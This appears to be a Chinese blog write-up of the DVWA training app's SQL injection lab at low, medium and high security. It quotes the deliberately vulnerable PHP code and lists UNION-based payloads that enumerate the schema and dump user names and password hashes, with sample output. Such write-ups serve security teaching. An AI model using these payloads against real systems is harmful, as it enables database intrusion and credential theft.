dvwa学习之七:SQL Injection
1.Low级别
核心代码:
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
使用REQUEST方法,未加入任何过滤措施,对于提交的请求直接参与SQL代码的查询
直接构造PAYLOAD:
判断字段数目:1' order by 2 #
union查询:-1' union select 1,2 #
查询database,version: -1' union select @@version,database()#
查询表: -1' union select group_concat(table_name),2 from information_schema.tables where table_schema=0x64767761 #
查询列: -1' union select group_concat(column_name),2 from information_schema.columns where table_name=0x75736572 #
查询值: -1' union select User,Password from users limit 0,1#
ID: -1' union select User,Password from users #
First name: admin
Surname: 19045673a5e3972fe7dde87da2e833b9
2. Medium级别
核心代码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
分析代码可知它就是通过POST方式提交id参数,之后并对参数id进行转义操作,但是此时的参数$id并没有加单引号,因此不需要加单引号进行闭合,可以直接进行union操作。
所以可是直接进行抓包突破列表限制,修改id内容,
id=-1 union select @@version,database() #&Submit=Submit
比着low级别少个单引号,后面一样。
3.HIGH级别
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
HIGH级别也很简单,注入点在session数组中,其中session中的id是通过post赋值,只需要修改提交的POST中的id即可,只是现实的界面不是在同一页面上。
dvwa学习之七:SQL Injection的更多相关文章
- DVWA学习之SQL注入
DVWA学习之SQL注入 环境工具 dvwa 1.9 phpstudy firefox burpsuite 实验步骤 一.设置安全级别为LOW 1. 登录DVWA,并将安全级别设置为LOW 2. 进入 ...
- (十二)DVWA全等级SQL Injection(Blind)盲注--SQLMap测试过程解析
一.测试前分析 前文<DVWA全等级SQL Injection(Blind)盲注-手工测试过程解析> 通过手工测试的方式详细分析了SQL Injection(Blind)盲注漏洞的利用过程 ...
- (十一)DVWA全等级SQL Injection(Blind)盲注--手工测试过程解析
一.DVWA-SQL Injection(Blind)测试分析 SQL盲注 VS 普通SQL注入: 普通SQL注入 SQL盲注 1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提 ...
- 【DVWA】【SQL Injection】SQL注入 Low Medium High Impossible
1.初级篇 low.php 先看源码,取得的参数直接放到sql语句中执行 if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQ ...
- 【DVWA】【SQL Injection(Blind)】SQL盲注 Low Medium High Impossible
1.初级篇 Low.php 加单引号提交 http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1'&Submit=Submi ...
- DVWA靶场之SQL injection(blind)通关
盲注,顾名思义,无法从界面上直接查看到执行结果,一般的SQL注入基本绝迹,最多的就是盲注 基本步骤:(由于没有回显了,相比一般的SQL注入,也就不需要确定查询字段数.判断回显位置了) 判断注入类型 破 ...
- DVWA靶场之SQL Injection通关
SQL注入,一个大概的手工流程: 判断是否有注入,什么类型 破解SQL语句中查询的字段数是多少 确定回显位置 破库 破表 破字段 获得内容 Low: <?php if( isset( $_REQ ...
- sqlmap dvwa SQL Injection使用小记
刚刚开始学习sql injection,初步使用sqlmap,使用 GET http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=1&Submi ...
- DVWA全级别之SQL Injection(SQL注入)
DVWA全级别之SQL Injection(注入) DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web ...
随机推荐
- Image图片
# View more python tutorials on my Youtube and Youku channel!!! # Youtube video tutorial: https://ww ...
- figure设置坐标轴
import matplotlib.pyplot as plt import numpy as np x=np.linspace(-3,3,50) y1=x*2+1 y2=x**2 plt.plot( ...
- mongodb 4.0配置认证模块
use admin db.createUser({user:"root",pwd:"xxx",roles:[{role:"root",db: ...
- 获取网站title的脚本
脚本在此 公司的商城需要添加一个脚本,这个脚本就是观察首页页面是否正常,虽然已经配置了zabbix监控网站是否200,但是有一些特殊的情况,比如网页可以打开但是页面是"file not fo ...
- 二手iPhone,为什么没有火?
据相关媒体报道,日前苹果准备向印度市场销售二手iPhone,以提高自己在这个市场内的竞争力,但却遭遇到了强烈的反对,首先是印度本土手机制造商担心二手iPhone会冲击他们的销售,让其本就微薄的利润更加 ...
- 阿里云https免费证书配置-包教会
阿里云https免费证书配置-包教会-有需要请联系小编! 小编个人站点:https://www.itdog.site/ 小编微信号:wvqusrtg
- 初识SpringAOP
概述 AOP(Aspect Oriented Programming),即面向切面编程 通过预编译方式和运行期动态代理实现程序功能的统一维护的一种技术.AOP是OOP的延伸,是软件系统开发中的一个 ...
- shell编程1:变量的使用与例子
一.Shell脚本的执行通常可以采用以下几种方式: 1):bash script-name或sh script-name(推荐使用) 2):path/script-name 或./script-nam ...
- opencv +数字识别
现在很多场景需要使用的数字识别,比如银行卡识别,以及车牌识别等,在AI领域有很多图像识别算法,大多是居于opencv 或者谷歌开源的tesseract 识别. 由于公司业务需要,需要开发一个客户端程序 ...
- web前端——美化效果总结
概述 项目开发过程中使用到了不少web前端美化效果的方法,总结一下 1 图片作为背景 要实现的效果是,任意一张图片"img-page-background.png",不需要调整图片 ...